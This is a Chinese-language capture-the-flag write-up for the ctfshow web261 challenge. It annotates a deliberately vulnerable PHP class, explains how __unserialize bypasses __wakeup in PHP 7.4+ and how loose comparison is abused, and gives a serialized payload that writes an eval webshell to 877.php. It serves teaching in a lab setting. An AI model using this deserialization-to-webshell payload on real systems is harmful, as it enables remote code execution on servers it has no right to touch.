ctfshow-web261

(魔术方法啥的还是自行看PHP魔术方法,这里就不单独拎出来了)

1.代码注释版

php 复制代码
<?php

highlight_file(__FILE__); 
// 把当前 PHP 文件源码高亮显示出来
// 纯提示用,对利用没有影响


class ctfshowvip{

    public $username;
    public $password;
    public $code;
    // 三个 public 属性,反序列化时都可以被用户控制


    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    // 构造函数:正常 new 对象时才会调用
    // ❗反序列化时不会调用 __construct


    public function __wakeup(){
        // unserialize() 时【旧版序列化格式】会自动触发

        if($this->username!='' || $this->password!=''){
            // 只要 username 或 password 有一个不为空
            die('error');
        }
        // ❗这里是"防护逻辑"
        // 企图阻止反序列化时 username / password 被赋值
    }


    public function __invoke(){
        // 当对象被当成函数调用时触发
        // 例如:$obj();

        eval($this->code);
        // code 可控 = 代码执行
        // ⚠️ 本题中并没有地方直接调用对象当函数
    }


    public function __sleep(){
        // serialize() 时触发
        // 返回要序列化的属性(这里没 return,其实是错误写法)

        $this->username='';
        $this->password='';
        // ❗强制把 username / password 清空
        // 用来"防止危险数据被序列化"
    }


    public function __unserialize($data){
        // PHP 7.4+ 新增
        // ❗当使用新格式反序列化时
        // 会【跳过 __wakeup】,直接进入这里

        $this->username=$data['username'];
        $this->password=$data['password'];
        // 直接从反序列化数据中取值
        // 完全绕过 __wakeup 的检查

        $this->code = $this->username.$this->password;
        // 把 username 和 password 拼接
        // 例如:
        // username = "0x"
        // password = "36d"
        // code = "0x36d"
    }


    public function __destruct(){
        // 脚本结束时自动调用
        // 这是【最终利用点】

        if($this->code==0x36d){
            // ⚠️ 关键点:
            // $this->code 是字符串
            // 0x36d 是十六进制整数 (877)

            // PHP 弱类型比较:
            // "0x36d" == 0x36d  → true

            file_put_contents($this->username, $this->password);
            // 写文件:
            // 文件名 = username
            // 文件内容 = password
        }
    }
}

unserialize($_GET['vip']);
// 把 GET 传入的 vip 参数反序列化成对象
// ❗整个攻击链的入口

(如果是按着题目顺序做下来的话这里大概基本上都能看懂是点啥,如果是跳着做的话其实不建议,还是先一步步来,因此这里就不再补基础知识了)

2.关键点

这里最重要的其实是新格式的反序列化,代码中也是详细给出了php7.4+版本会直接跳过wakeup,那么我们还是先来看如果是旧版本即不跳过wakeup是个什么情况:

不跳wakeup:

php 复制代码
public function __wakeup(){
    if($this->username!='' || $this->password!=''){
        die('error');
    }
}

我们要做的是写username和password然后让code拼接payload,但是这里wakeup就限制了我们写的能力 :如果username或者password的值不为空,就直接die error,那为了不让这个程序die,我们只能:

php 复制代码
$username = ''
$password = ''

那么到了后面的结果就是这样的:

php 复制代码
file_put_contents($this->username, $this->password);  //usename和password进行拼接

file_put_contents('', '');  //非法路径,直接失败
能做到的:
  • 通过 __wakeup():只能让 username / password 为空

  • $code == 0x36d:可以

做不到的:

写任意文件 写 webshell 控制路径和内容.

因此在这道题目中,如果采用旧版本的话,那么基本上是解不出来的。因此这里的环境为7.4.16

跳wakeup:

这样的话就简单多了,唯一要关注的点就是code那边是弱比较,0x36转为十进制为877,弱比较的话可以改成877.php写webshell,然后写个程序跑一下就行:

php 复制代码
<?php 
    class ctfshowvip{
        public $username='877.php';
        public $password='<?=eval($_POST[1])?>';
        public $code;
    }
    $a=new ctfshowvip();
    echo serialize($a);
?>

O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:20:"<?=eval($_POST[1])?>";s:4:"code";N;}

这里注意的点是最后面那个code的N代表NULL,因为没有赋初始值,但是这里赋值跟不赋值都没有关系。因为关键是code会被重新赋值:

php 复制代码
public function __unserialize($data){
    $this->username=$data['username'];
    $this->password=$data['password'];
    $this->code = $this->username.$this->password;
}

然后后面就是访问877.php,但是这里的flag在根目录

或者因为是POST传参可以直接连蚁剑:

相关推荐
爱隐身的官人2 个月前
ctfshow-web213
web·sqlmap·ctfshow
m0_738120724 个月前
CTFshow系列——PHP特性Web113-115(123)
安全·web安全·php·ctfshow
m0_738120724 个月前
CTFshow系列——PHP特性Web97-100
开发语言·安全·web安全·php·ctfshow
m0_738120724 个月前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow
m0_738120724 个月前
CTFshow系列——命令执行web73-77(完结篇)
前端·安全·web安全·网络安全·ctfshow
m0_738120725 个月前
CTFshow系列——命令执行web53-56
前端·安全·web安全·网络安全·ctfshow
此乃大忽悠6 个月前
XSS(ctfshow)
javascript·web安全·xss·ctfshow
此乃大忽悠6 个月前
SSRF(ctfshow)
ssrf·ctfshow
Sweet_vinegar10 个月前
版本控制泄露源码 .git
git·安全·web·ctf·ctfshow